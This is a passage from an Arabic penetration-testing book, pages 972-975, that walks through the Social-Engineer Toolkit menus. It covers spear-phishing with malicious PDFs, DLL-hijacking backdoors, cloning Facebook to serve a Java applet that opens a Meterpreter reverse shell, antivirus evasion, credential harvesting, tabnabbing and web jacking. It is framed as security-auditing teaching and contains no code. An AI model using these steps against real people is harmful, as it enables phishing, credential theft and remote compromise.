‫ﻧﺧﺗﺎر ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل اﻟﺧﯾﺎر ‪ 5‬ﺛم ﺑﻌد ذﻟك ﯾطﻠب ﻣﻧك ﻋﻧوان اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﮭدف اﻟذي ﺳوف ﯾﻘوم ﺑﺎﻹرﺳﺎل اﻟﯾﮫ وﻋﻧوان اﻟﺑرﯾد‬
‫اﻟﻣﺻدر اﻟذي ﺳﯾﻛون اﻟﻣرﺳل ﻣﻧﮫ ﻛﺎﻻﺗﻰ‪ .‬ﺛم أﺧﯾرا ﯾﻘوم‪ SET ،‬ﺑﺈرﺳﺎل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟذي ﺳﯾﺣﺎول ﺧداع اﻟﻣﺳﺗﺧدم ﻓﻲ ﻓﺗﺢ ‪PDF‬‬
‫اﻟﻣرﻓﻘﺔ‪.‬‬
‫ﺑﻌد أن ﯾﺗم إرﺳﺎل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ SET ،‬ﯾﺿﻊ اﻟﻣﺳﺗﻣﻊ وﯾﻧﺗظر اﻟﮭدف ﻟﻔﺗﺢ اﻟﻣﻠف‪ .‬ﺑﻣﺟرد أن ﯾﻘوم اﻟﮭدف ﺑﺎﻟﻧﻘر ﻋﻠﻰ ‪ ،PDF‬ﯾﺳﺗﺟﯾب‬
‫اﻟﻣﺳﺗﻣﻊ ﻣن اﻟﺗﻌﺎﻣل ﻣﻊ اﻟﺷﯾﻔرات اﻟﺧﺑﯾﺛﺔ اﻟواردة وإﻋطﺎء اﻟﻣﮭﺎﺟم اﻟوﺻول إﻟﻰ ﺟﮭﺎز ﻛﻣﺑﯾوﺗر اﻟﺿﺣﯾﺔ‪.‬‬
‫اﻟﻣﺛﯾر ﻟﻠدھﺷﺔ )أو رﺑﻣﺎ ﻻ‪ ،‬اﻋﺗﻣﺎداه ﻋﻠﻰ اﻟﺗوﻗﻌﺎت اﻟﺧﺎﺻﺔ ﺑك(‪ ،‬ﻛل ھذا ﺗم ﻓﻲ رﺑﻣﺎ ﺳت أو ﺳﺑﻊ ﻧﻘرات ﺑﺎﻟﻣﺎوس‪ ،‬وأﻧﮫ ﯾﺗرك ﻟﻠﻣدﻗﻖ اﻟﺣرﯾﺔ‬
‫ﻓﻲ اﻟﺗرﻛﯾز ﻋﻠﻰ ﺟﺎﻧب اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻔﻌﻠﻲ ﻟﮭذه اﻟﮭﺟﻣﺎت‪.‬‬
‫ھذا اﻟﮭﺟوم ﻣدﻣر ﻷﻧﮫ ﯾﺳﺗﻐل ﻗطﻌﺔ ﻣن ﺟﺎﻧب ﺑرﻣﺟﯾﺎت اﻟﻌﻣﯾل‪ ،‬ﻣرات ﻋدﯾدة ﻟﯾس ھﻧﺎك ﻣﺎ ﯾدل ﻋﻠﻰ ھﻧﺎك ﺷﯾﺋﺎ ﺳﯾﺋﺎ ﯾﺣدث‪ .‬ھذا ھو ﻣﺟرد‬
‫واﺣدة ﻣن اﻟﻌدﯾد ﻣن اﻟﮭﺟﻣﺎت اﻟﺗﻲ ﯾﻣﻛن إطﻼﻗﮭﺎ ﺑﺎﺳﺗﺧدام ‪.SET‬‬
‫ﻣﺛﺎل اﺧر ﺑﺎﻟﻌودة اﻟﻰ ﻗﺎﺋﻣﺔ ھﺟﻣﺎت ‪ spear phishing‬ﻧﺧﺗﺎر اﻟﺧﯾﺎر ‪:1‬‬
‫)‪SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP‬‬
‫واﻟﺗﻲ ﻓﯾﮭﺎ ﯾطﻠب ﻣﻧك إدﺧﺎل ﻋﻧوان ‪ IP‬اﻟدى ﺳوف ﯾﺳﺗﻣﻊ ﻣن ﺧﻼﻟﮫ وﻣن ﺛم ﯾﻌرض ﻟك ﻗﺎﺋﻣﮫ ﺑﻧﺎﻗﻼت اﻟﮭﺟوم اﻟﻣﺗﺎﺣﺔ ﻛﺎﻻﺗﻰ‪:‬‬

‫ﻧﺧﺗﺎر ﻣﺛﻼ اﻟﺧﯾﺎر ‪ 1‬ﻻﺧﺗﯾﺎر ﻧﺎﻗل اﻟﮭﺟوم ‪ .Windows Shell Reverse_TCP‬واﻟﺗﻲ ﺳوف ﯾﻌطﯾك اﻟﻌدﯾد ﻣن اﻟﺧﯾﺎرات ﻛﺎﻻﺗﻰ‪:‬‬

‫ھﻧﺎ ﻧﺧﺗﺎر اﻻﺧﺗﯾﺎر ‪ .4‬واﻟﺗﻲ ﻓﯾﮫ ﻗﻣﻧﺎ ﺑﻌﻣل ﻣﻠف ‪ backdoored‬ﺛم ﻓﻲ اﻟﻣرﺣﻠﺔ اﻟﺗﺎﻟﯾﺔ ﯾدرج ﻟك ﻗﺎﺋﻣﮫ ﺑﺎﻟﻣﻠﻔﺎت واﻟﺗﻲ ﺳوف ﯾﺗم ﻓﯾﮭﺎ ﺗﺧﺑﺋﮫ‬
‫ھذا ‪ backdoor‬ﻓﯾﮫ‪.‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪972‬‬

‫ﻧﺧﺗﺎر اﻟﺧﯾﺎر ‪ 11‬ﻣﺛﻼ‪ .‬ﺛم ﯾطﻠب ﻣﻧك ادﺧﺎل ﺑﻌض اﻟﻣﻌﻠوﻣﺎت ﻣﺛل اﺳم اﻟﻣﻠف وﻏﯾرھﺎ ﻣن اﻟﻣﻌﻠوﻣﺎت اﻷﺧرى‪ .‬وﻣن ﺛم ﺗﻛﻣﻠﺔ اﻟﺧطوات ﻛﻣﺎ‬
‫ﺳﺑﻖ ذﻛره‪ .‬ھﺟوم ‪ spear phishing‬ﯾﻣﻛن أن ﯾرﺳل إﻟﻰ اﻟﻔرد أو أﻓراد ﻣﺗﻌددة‪ ،‬ﯾﻣﻛن دﻣﺟﮫ ﻓﻲ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﺟوﺟل وﯾﻣﻛن‬
‫ﺗﺧﺻﯾﺻﮫ ﺗﻣﺎﻣﺎ ﻋﻠﻰ أﺳﺎس اﻻﺣﺗﯾﺎﺟﺎت اﻟﺧﺎﺻﺔ ﺑك ﻋن ﻧواﻗل اﻟﮭﺟوم‪ .‬ﻋﻣوﻣﺎ ھذا ﻓﻌﺎﻟﺔ ﺟدا‪.‬‬
‫‪Web Attack Vector‬‬
‫ﻛﻣﺎ ﯾﺳﻣﺢ ‪ SET‬ﻻﺳﺗﻧﺳﺎخ أي ﻣوﻗﻊ واﺳﺗﺿﺎﻓﺗﮫ ﻣﺣﻠﯾﺎ‪ .‬ﻗوة ھذا اﻟﻧوع ﻣن اﻟﮭﺟوم ھو أﻧﮫ ﯾﺳﻣﺢ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﺧداع اﻟﻣﺳﺗﺧدﻣﯾن إﻟﻰ‬
‫زﯾﺎرة اﻟﻣوﻗﻊ ﺑﺣﺟﺔ ﻛوﻧﮫ اﻟﻣطور ﻹﺟراء ﺗﻐﯾﯾرات‪ ،‬أو ﺣﺗﻰ ﺑﺎﺳﺗﺧدام ﺧدﻋﺔ ﻣن إﺿﺎﻓﺔ أو ﺣذف ﺣرف واﺣد ﻓﻲ ‪ URL‬وذﻟك ﻟﺟذب اﻟﻧﺎس‬
‫إﻟﻰ اﻟﻣوﻗﻊ اﻟﺟدﯾد اﻟذي ھو ﻣﺳﺗﻧﺳﺦ‪.‬‬
‫ﺑﻣﺟرد إﻧﺷﺎء اﻟﻣوﻗﻊ اﻟﻣﺳﺗﻧﺳﺦ‪ ،‬ﻓﺎن اﻟﻌدﯾد ﻣن اﻷﺟزاء اﻟﻣﺧﺗﻠﻔﺔ ﻣن ھذا اﻟﮭﺟوم ﯾﻣﻛن إطﻼﻗﮭﺎ ﻣﺛل ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت وﺣﺻﺎد ﺑﯾﺎﻧﺎت اﻻﻋﺗﻣﺎد‪،‬‬
‫واﻻﺧﺗراق ھﻲ ﻣﺟرد ﻋدد ﻗﻠﯾل ﻟﺗﺷﻐﯾل ھذا اﻟﮭﺟوم ﻓﻲ ‪ SET‬وﻟﻠﻘﯾﺎم ﺑﮭذا اﻟﮭﺟوم ﻧﺧﺗﺎر اﻟﺧﯾﺎر ‪ ،Website Attack Vectors ،2‬ﻣن‬
‫اﻟﻘﺎﺋﻣﺔ اﻟرﺋﯾﺳﯾﺔ‪ .‬ﺣﯾث ﯾﻘدﻣك اﻟﻰ ﻋدد ﻗﻠﯾل ﻣن اﻟﺧﯾﺎرات‪:‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪973‬‬

‫‪Java Applet Attack .1‬‬

‫وﻻ ﺳﯾﻣﺎ ان أﻛﺛر اﻟﮭﺟوم ﺷرا ھو اﻟﮭﺟوم ﻋﻧد اﺳﺗﺧدام اﻟﺧﯾﺎر ‪ ،1‬وھو ‪ .Java Applet Attack‬ﻓﻲ اﻷﺳﺎس‪Java Applet Attack ،‬‬
‫ﯾﻘدم ﻟﻠﻣﺳﺗﺧدم ﻣﻊ ﺗﺣذﯾر أﻣﺎن ﺟﺎﻓﺎ )‪ (Java security warning‬واﻟذي ﯾﻘول اﻟﻣوﻗﻊ ﺗم ﺗوﻗﯾﻌﮭﺎ ﻣن ﻗﺑل ﺷرﻛﺔ ‪ ،ABC‬وﯾطﻠب ﻣن‬
‫اﻟﻣﺳﺗﺧدم اﻟﻣواﻓﻘﺔ ﻋﻠﻰ اﻟﺗﺣذﯾر‪.‬‬
‫‪ Java Applet‬ھو أﺣد ﻣوﺟﮭﺎت اﻟﮭﺟوم اﻷﺳﺎﺳﯾﺔ ﺿﻣن ھذه اﻟﻣﺟﻣوﻋﺔ‪ ،‬وأﻋﻠﻰ ﻣﻌدل ﻧﺟﺎح ﻟﻠﺗوﺻل إﻟﻰ ﺣل وﺳط‪.‬‬
‫‪ Java Applet attack‬ﺳوف ﯾﻘوم ﺑﺈﻧﺷﺎء ﺑرﻧﺎﻣﺞ ‪ Java‬ﺿﺎر واﻟذى ﺑﻣﺟرد ﺗﺷﻐﯾﻠﮫ ﺳوف ﯾﺗم اﺧﺗراق اﻟﺿﺣﯾﺔ‪ .‬ھو ﺧدﻋﺔ ﻣﺗﻘﻧﺔ ﻣن‬
‫‪ SET‬إذا ﻛﻧت ﺗرﯾد اﺳﺗﻧﺳﺎخ ﻣوﻗﻊ ﻋﻠﻰ ﺷﺑﻛﺔ اﻹﻧﺗرﻧت ﺑﺎﻟﻛﺎﻣل‪ ،‬وﺣﺎﻟﻣﺎ ﯾﻘوم اﻟﺿﺣﯾﺔ ﺑﺎﻟﻧﻘر ﻓوق ﺗﺷﻐﯾل‪ ،‬ﻓﺈﻧﮫ ﺳﯾﺗم ﺗوﺟﯾﮫ اﻟﺿﺣﯾﺔ ﻣرة‬
‫أﺧرى إﻟﻰ اﻟﻣوﻗﻊ اﻷﺻﻠﻲ ﻣﻣﺎ ﯾﺟﻌل ان ﯾﺗم ﺗﺻدﯾﻖ اﻟﮭﺟوم أﻛﺛر ﺑﻛﺛﯾر‪ .‬ﻧﺎﻗل اﻟﮭﺟوم ھذا ﯾؤﺛر ﻋﻠﻰ وﯾﻧدوز‪ ،‬ﻟﯾﻧﻛس‪ ،‬و‪ ،OSX‬وﯾﻣﻛن أن‬
‫ﯾﻌرض ﻟﻠﺧطر ﻛل ﻣﻧﮭم‪ .‬ﺗذﻛر إذا ﻛﻧت ﺗرﯾد ﺗﺧﺻﯾص ﻧﺎﻗل اﻟﮭﺟوم ھذا‪ ،‬ﻗم ﺑﺗﻌدﯾل اﻟﻣﻠف ‪ config/set_config‬ﻣن أﺟل ﺗﻐﯾﯾر‬
‫‪ .self-signed information‬ﻓﻲ ﻧﺎﻗل اﻟﮭﺟوم ھذا ﺗﺣدﯾدا‪ ،‬ﯾﻣﻛﻧك ﺗﺣدﯾد ﻗواﻟب وﯾب اﻟﺗﻲ ھﻲ ﻣﺣددة ﻣﺳﺑﻘﺎ ً ﻣن اﻟﻣواﻗﻊ اﻟﺗﻲ ﻗد ﺗم ﺣﺻﺎدھﺎ‬
‫ﺑﺎﻟﻔﻌل‪ ،‬أو ﯾﻣﻛﻧك اﺳﺗﯾراد ﻣوﻗﻊ اﻟوﯾب اﻟﺧﺎص ﺑك‪ .‬ﻷداء ھذا اﻟﮭﺟوم ﻧﺧﺗﺎر اﻟﺧﯾﺎر ‪ 1‬ﺛم اﻟﺧﯾﺎر ‪ ،2‬ﺛم ‪.Site Cloner‬‬
‫ﻋﻧد اﺧﺗﯾﺎر اﻟﻣوﻗﻊ اﻟﺗﻲ ﺗرﯾد اﺳﺗﻧﺳﺎﺧﮫ‪ ،‬ﻓﺳوف ﯾطﻠب ﻣﻧك اﻟﻣوﻗﻊ اﻟذي ﺗرﯾد اﺳﺗﻧﺳﺎﺧﮫ‪ .‬ھﻧﺎ‪ ،‬ﯾﻣﻛﻧك اﺧﺗﯾﺎر أي ﺷﻲء ﺗرﯾده‪ ،‬ﻣوﻗﻊ اﻟﻌﻣﯾل‪،‬‬
‫ﻣوﻗﻊ اﻟﺑﺎﺋﻌﯾن‪ ،‬أو ﻣواﻗﻊ اﻟﺣﻛوﻣﺔ واﻟﺧﯾﺎر ﻟك‪ .‬ﻛﻣﺎ ﻗد ﺗﺗﺻور‪ ،‬ﻓﺎن اﺧﺗﯾﺎر اﻟﻣوﻗﻊ ھو أﻣر ﺿروري‪.‬‬

‫واﻟذي ﺳوف ﯾﺳﺄﻟك ﺑﻌض اﻷﺳﺋﻠﺔ وﻣم ﺛم ﯾطﻠب ﻣﻧك إدﺧﺎل ﻋﻧوان ‪ url‬اﻟذي ﺗرﯾد اﺳﺗﻧﺳﺎﺧﮫ‪.‬‬

‫ھﻧﺎ ﻓﻲ ھذا اﻟﺗﻣرﯾن اﺧﺗرﻧﺎ ﻣوﻗﻊ ‪.Facebook‬‬

‫وﻣن ﺛم ﺑﻌد اﻻﻧﺗﮭﺎء ﻣن ﻧﺳﺧﮫ اﻟﻣوﻗﻊ ﯾﻌطﯾك اﻟﻌدﯾد ﻣن اﻟﺧﯾﺎرات ﻟﺗﺣدﯾد ﻧوع اﻻﺗﺻﺎل اﻟذي ﺗرﯾد أن ﺗﻧﺷﺋﮫ ﺑﯾﻧك وﺑﯾن اﻟﺿﺣﯾﺔ‪ .‬ﻻﺳﺗﺧدام‬
‫اﻟﺗﻛﻧوﻟوﺟﯾﺎ اﻟﺗﻲ ﻧوﻗﺷت ﻓﻲ ھذا اﻟﻛﺗﺎب‪ ،‬واﺧﺗﯾﺎر ‪ Metasploit reverse shell‬واﻟﺗﻲ ﺗﺳﻣﻰ ‪.Meterpreter‬‬
‫‪ SET‬ﯾﺗﯾﺢ ﻟك ﺧﯾﺎر ﻟﺗﺷﻔﯾر ‪ Payload‬اﻟﺧﺎص ﺑك ﻣﻊ ﺗﺷﻔﯾر ﻣﺧﺗﻠﻔﺔ‪ .‬ھذا ھو ﻟﻣﺳﺎﻋدﺗك ﻋﻠﻰ ﺗﺟﻧب اﻟوﻗوع ﻣن ﻗﺑل أﻧظﻣﺔ ﻣﻛﺎﻓﺣﺔ‬
‫اﻟﻔﯾروﺳﺎت‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪974‬‬

‫ﻓﻲ ﻣﺛﺎﻟﻧﺎ ھذا ﺳوف ﻧﻔﻌل ﻣﺎ ﻗﻣﻧﺎ ﺑﻔﻌﻠﮫ ﺳﺎﺑﻘﺎ وﺳوف ﻧﺧﺗﺎر ‪ 2‬ﺛم ﻣن ﻗﺎﺋﻣﺔ اﻟﺧﯾﺎرات اﻟﺗﺎﻟﯾﺔ ﻧﺧﺗﺎر ‪.(Backdoored Executable) 4‬‬

‫اﻟﺧطوة اﻟﻣﻘﺑﻠﺔ‪ SET ،‬ﺳوف ﯾﻘوم ﺑﺈطﻼق ﺧﺎدم اﻟوﯾب اﻟﺧﺎص اﻟﻣدﻣﺞ‪ ،‬ﺗﺳﺗﺿﯾف اﻟﻣوﻗﻊ‪ ،‬وﯾﺿﻊ اﻟﻣﺳﺗﻣﻊ ﻟﻠﻘﺑض ﻋﻠﻰ اﻟﺿﺣﯾﺔ اﻟﺧﺎص‬
‫ﺑﺗﺻﻔﺢ اﻟﻣوﻗﻊ‪.‬‬
‫ﻓﻲ ھذا اﻟﮭﺟوم‪ ،‬ﻟﻘد أﻧﺷﺄ ﻟدﯾﻧﺎ ﺳﯾﻧﺎرﯾو اﺳﺗﻧﺳﺎخ ‪ https://www.facebook.com‬واﺳﺗﺧدام ﻧﺎﻗﻼت اﻟﮭﺟوم اﻟﻌﻛﺳﻲ ‪ meterpreter‬ﻋﻠﻰ‬
‫اﻟﻣﻧﻔذ ‪ .443‬ﻟﻘد اﺳﺗﺧدﻣﻧﺎ ‪ backdoored‬اﻟﻘﺎﺑل ﻟﻠﺗﻧﻔﯾذ ﻟﻧﺄﻣل أن ﯾﺗﺟﺎوز ﻣﺿﺎدة اﻟﻔﯾروﺳﺎت وإﻋداد ‪ Metasploit‬ﻟﻣﻌﺎﻟﺟﺔ اﺗﺻﺎﻻت‬
‫ﻋﻛﺳﻲ‪ .‬إذا أردت اﺳﺗﺧدام رﺳﺎﻟﺔ ﺑرﯾد إﻟﻛﺗروﻧﻲ ﻣﻊ ھذا اﻟﮭﺟوم اﻟﻣوﺟﮫ‪ ،‬ﯾﻣﻛﻧك ذﻟك إﯾﻘﺎف ﺗﺷﻐﯾل اﻟﻣﻌﺎﻣل ﻓﻲ ﻣﻠف اﻻﻋداد ‪set_config‬‬
‫ﻣن ‪ WEBATTACK_EMAIL = OFF‬إﻟﻰ ‪.WEBATTACK_EMAIL = ON‬‬
‫ﺣﺎﻟﻣﺎ ﯾﻘوم اﻟﺿﺣﯾﺔ ﺑﺎﻟﻧﻘر ﻓوق ﺗﺷﻐﯾل‪ ،‬ﯾﺗم ﺗﻘدﯾﻣك ﻣﻊ ﺷل ‪ ،meterpreter‬واﻟﺿﺣﯾﺔ ھو إﻋﺎدة اﻟﺗوﺟﯾﮫ إﻟﻰ ﻣوﻗﻊ اﻟﻔﯾﺳﺑوك اﻷﺻﻠﻲ ﻏﯾر‬
‫ﻣدرﻛﯾن ﺗﻣﺎﻣﺎ أﻧﮫ ﻗد ﺗم اﺧﺗراﻗﮭم‪ .‬ﺗوﻗﻊ أن اﻟﺟﺎﻓﺎ ﺗﻘوم ﺑﺗﺣدﯾث اﻟﺗﻌﻠﯾﻣﺎت اﻟﺑرﻣﺟﯾﺔ اﻟﺧﺎﺻﺔ ﺑﮭم ﺣﯾث ﺗرى ﺣﻘل ‪ publisher‬ﻓﻲ اﻟﺗطﺑﯾﻖ‬
‫ﻛﺎﻟﻣﺟﮭول ﻋﻧد ﺗﻛون ‪ .self-signing‬ﻣن أﺟل ﺗﺟﺎوز ھذا‪ ،‬ﺳوف ﺗﺣﺗﺎج إﻟﻰ ﺗﺳﺟﯾل اﻟﺷرﻛﺔ‪ ،‬وﺷراء ﺷﮭﺎدة اﻟﺗوﻗﯾﻊ اﻟﺧﺎﺻﺔ ﺑﺎﺳم اﻟﺷرﻛﺔ‪.‬‬
‫اﻵن اﻷﻣر ﻣﺗروك ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ إﻣﺎ ﻟﺻﯾﺎﻏﺔ رﺳﺎﻟﺔ ﺑرﯾد إﻟﻛﺗروﻧﻲ أو ﻣﻛﺎﻟﻣﺔ ھﺎﺗﻔﯾﺔ ﻟرﺳم اﻟﮭدف إﻟﻰ‪. URL‬‬
‫‪Metasploit Browser Exploit Method .2‬‬
‫طرﯾﻘﺔ ‪ Metasploit Browser Exploit‬ﺳوف ﺗﻘوم ﺑﺣﻘن ‪ Metasploit client-side exploits‬ﻣﻊ اﻟﻘدرة ﻋﻠﻰ اﺳﺗﻧﺳﺎخ ﻣوﻗﻊ ﻋﻠﻰ‬
‫ﺷﺑﻛﺔ اﻹﻧﺗرﻧت‪ ،‬واﻻﺳﺗﻔﺎدة ﻣن اﻟﻣﺂﺛر اﻟﺗﻲ ﺗﺳﺗﻧد إﻟﻰ اﻟﻣﺳﺗﻌرض‪.‬‬
‫‪Credential Harvester Attack Method .3‬‬
‫طرﯾﻘﺔ ‪ credential harvester attack‬ﯾﺗم اﺳﺗﺧداﻣﮭﺎ ﻋﻧدﻣﺎ ﻛﻧت ﻻ ﺗرﻏب ﻓﻲ اﻟﺣﺻول ﻋﻠﻰ ﺷل ﻋﻠﻰ وﺟﮫ اﻟﺗﺣدﯾد وﻟﻛن ﺗرﯾد ﺗﻧﻔﯾذ‬
‫ھﺟﻣﺎت اﻟﺗﺻﯾد )‪ (phishing‬ﻣن أﺟل اﻟﺣﺻول ﻋﻠﻰ اﺳم اﻟﻣﺳﺗﺧدم وﻛﻠﻣﺎت اﻟﻣرور ﻣن اﻟﻧظﺎم‪ .‬ﻓﻲ ﻧﺎﻗل اﻟﮭﺟوم ھذا‪ ،‬ﺳﯾﺗم ﻧﺳﺧﺔ ﻣوﻗﻊ ﻋﻠﻰ‬
‫ﺷﺑﻛﺔ اﻹﻧﺗرﻧت‪ ،‬وﻋﻧدﻣﺎ ﯾدﺧل اﻟﺿﺣﯾﺔ أوراق اﻻﻋﺗﻣﺎد اﻟﻣﺳﺗﺧدم )ﺑﯾﺎﻧﺎت اﻟدﺧول(‪ ،‬ﺳﯾﺗم ﻧﺷر أﺳﻣﺎء اﻟﻣﺳﺗﺧدﻣﯾن وﻛﻠﻣﺎت اﻟﻣرور إﻟﻰ اﻟﺟﮭﺎز‬
‫اﻟﺧﺎص ﺑك وﻣن ﺛم ﯾﺗم إﻋﺎدة ﺗوﺟﯾﮭك اﻟﺿﺣﯾﺔ ﻣرة أﺧرى إﻟﻰ اﻟﻣوﻗﻊ اﻷﺻﻠﻲ‪.‬‬
‫‪Tabnabbing Attack Method .4‬‬
‫ﯾﺳﺗﺧدم ھذا اﻷﺳﻠوب ﻋﻧدﻣﺎ ﯾﻛون اﻟﺿﺣﯾﺔ ﻟدﯾﮫ اﻟﻌدﯾد ﻣن ﻋﻼﻣﺎت ﺗﺑوﯾب ﻣﻔﺗوﺣﺔ‪ ،‬ﻋﻧدﻣﺎ ﯾﻧﻘر اﻟﻣﺳﺗﺧدم ﻓوق اﻟراﺑط‪ ،‬ﻓﺎﻧﮫ ﺳوف ﯾﺗم ﻋرض‬
‫ﻟﻠﺿﺣﯾﺔ رﺳﺎﻟﺔ "اﻟرﺟﺎء اﻻﻧﺗظﺎر أﺛﻧﺎء ﺗﺣﻣﯾل اﻟﺻﻔﺣﺔ )‪ ."(Please wait while the page loads‬ﻋﻧدﻣﺎ ﯾﺑدل اﻟﺿﺣﯾﺔ ﻋﻼﻣﺎت اﻟﺗﺑوﯾب‬
‫ﻷﻧﮫ ﻛﺎن ﻋﻠﯾﮫ ﺗﻌدد اﻟﻣﮭﺎم‪ ،‬ﻓﺎن اﻟﻣوﻗﻊ ﯾﻛﺗﺷف أن ﻋﻼﻣﺔ اﻟﺗﺑوﯾب ﻣﺧﺗﻠﻔﺔ ﻣوﺟودة وﯾﻌﯾد ﻛﺗﺎﺑﺔ ﺻﻔﺣﺔ اﻟوﯾب إﻟﻰ ﻣوﻗﻊ اﻟوﯾب اﻟذي ﺗﺣدده‪ .‬ﺑﻌد‬
‫ﻓﺗرة ﻣن اﻟوﻗت ﯾﻘوم اﻟﺿﺣﯾﺔ ﺑﺎﻟﻧﻘر ﻋﻠﻰ ﻋﻼﻣﺔ اﻟﺗﺑوﯾب ﻣرة أﺧرى‪ ،‬وﯾﻌﺗﻘد أﻧﮫ ﻗﺎم ﺑﺗﺳﺟﯾل اﻟﺧروج ﻣن ﺑرﻧﺎﻣﺞ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ أو‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪975‬‬

‫ﺗطﺑﯾﻘﺎت اﻷﻋﻣﺎل اﻟﺗﺟﺎرﯾﺔ‪ .‬وﻣن ﺛم ﯾﻘوم ﺑﺈدراج ﺑﯾﺎﻧﺎت اﻻﻋﺗﻣﺎد ﻣرة اﺧرى‪ ،‬ﻟﯾﺗم ﺣﺻﺎدھﺎ وإﻋﺎدة ﺗوﺟﯾﮫ اﻟﻣﺳﺗﺧدم ﻣرة أﺧرى إﻟﻰ اﻟﻣوﻗﻊ‬
‫اﻷﺻﻠﻲ‪.‬‬
‫‪Web Jacking Attack Method .5‬‬
‫ﻓﻲ ھذا اﻷﺳﻠوب ﺳوف ﻧﻘوم ﺑﺈﻧﺷﺎء ﻧﺳﺧﺔ ﻣوﻗﻊ وﯾب وﺗﻘدﯾم ﻟﻠﺿﺣﯾﺔ ﻣﻊ ارﺗﺑﺎط ﺗﻔﯾد ﺑﺄن اﻟﻣوﻗﻊ ﻗد ﺗم ﻧﻘﻠﮫ‪ .‬ھذا ﻣﯾزة ﺟدﯾدة ﻓﻲ اﻹﺻدار‬
‫‪ .0.7.1‬ﻋﻧدﻣﺎ ﯾﺗم اﻟﻧﻘر ﻓوق اﻻرﺗﺑﺎط‪ ،‬ﺳﯾﻌرض ﻋﻧوان ‪ URL‬ﻣﻊ ﻋﻧوان ‪ URL‬اﻟﻔﻌﻠﻲ‪ ،‬ﻟﯾﺳت آﻟﺔ اﻟﻣﮭﺎﺟم‪ .‬ﻟذا ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬إذا ﻗﻣت‬
‫ﺑﻧﺳﺦ ﻣوﻗﻊ ‪ ،gmail.com‬ﻓﺎن ‪ url‬ﺳوف ﯾﻛون ﺣﻘﯾﻘﻲ‪ .‬وﻋﻧدﻣﺎ ﯾﻘوم اﻟﻣﺳﺗﺧدم ﺑﺎﻟﻧﻘر ﻓوق اﻻرﺗﺑﺎط ﻓﺎﻧﮫ ﺗم ﻧﻘﻠﮫ‪ ،‬ﺣﯾث ﯾﻔﺗﺢ ‪ gmail‬وﻣن ﺛم‬
‫ﯾﺗم اﺳﺗﺑداﻟﮫ ﺑﺳرﻋﺔ ﻣﻊ ﺧﺎدم اﻟوﯾب اﻟﺧﺑﯾث‪ .‬ﺗذﻛر ﯾﻣﻛﻧك ﺗﻐﯾﯾر ﺗوﻗﯾت ھﺟوم ‪ webjacking‬ﻣن ﺧﻼل ﺗﻌدﯾل ‪.config/set_config‬‬
‫‪Multi-Attack Web Vector .6‬‬
‫ﻓﻲ ھذا اﻷﺳﻠوب اﻟﺟدﯾد ﻓﺎﻧﮫ ﺳوف ﯾﺳﻣﺢ ﻟك ﻟﺗﺣدﯾد أﺳﺎﻟﯾب ھﺟوم وﯾب ﻣﺗﻌددة ﺑﻐﯾﺔ اﻟﻘﯾﺎم ﺑﮭﺟوم واﺣد‪ .‬ﻓﻲ ﺑﻌض وﺣدات اﻟﺳﯾﻧﺎرﯾو‪ ،‬ﺣﯾث‬
‫اﻧﮫ ﻗد ﯾﻔﺷل ھﺟوم ‪ Java Applet‬ﻓﻲ ﺣﯾن ﻗد ﯾﻧﺟﺢ ‪ credential harvester‬وھﻛذا‪ Multi-Attack Web Vector .‬ﯾﺳﻣﺢ ﻟك‬
‫ﺑﺗﺷﻐﯾل وإﯾﻘﺎف اﻟﻧﺎﻗﻼت اﻟﻣﺧﺗﻠﻔﺔ‪ ،‬واﻟﺟﻣﻊ ﺑﯾن اﻟﮭﺟﻣﺎت اﻟﺗﻲ وﻗﻌت ﻓﻲ ﺻﻔﺣﺔ وﯾب ﻣﺣددة واﺣدة‪ .‬ﻋﻧدﻣﺎ ﯾﻧﻘر اﻟﻣﺳﺗﺧدم ﻓوق اﻻرﺗﺑﺎط ﻓﺄﻧﮫ‬
‫ﺳﯾﺗم ﺗوﺟﯾﮫ ﻛل ﻣوﺟﮭﺎت اﻟﮭﺟوم اﻟﺗﻲ ﺗﺣدده‪.‬‬
‫ﺑﻌﺾ اﻟﻤﻤﯿﺰات اﻷﺧﺮى ﻠ ‪SET‬‬
‫ﻟﻘد ﺗم وﺿﻊ ‪ SET‬ﻣن ﻗﺑل اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ﺑﺣﯾث ﺗﻘوم ﻣﺟﻣوﻋﺔ اﻷدوات ﻋﻠﻰ أﻛﺛر اﻟﮭﺟﻣﺎت ﺷﯾوﻋﺎ واﻟﺗﻲ ﯾﺣﺗﺎﺟﮭﺎ ھؤﻻء ﻓﻲ أﻋﻣﺎل‬
‫اﻟﺗدﻗﯾﻖ‪.‬‬
‫‪ SET‬ﯾﺗزاﯾد ﺑﺎﺳﺗﻣرار وﯾﺗوﺳﻊ‪ .‬ﻓﻲ اﻷﺷﮭر اﻷﺧﯾرة‪ ،‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬أﺻﺑﺣت ‪ SET‬ﻗﺎدرة ﻋﻠﻰ اﻟﺗﻌﺎﻣل ﻣﻊ ھﺟﻣﺎت أﺧرى إﻟﻰ ﺟﺎﻧب‬
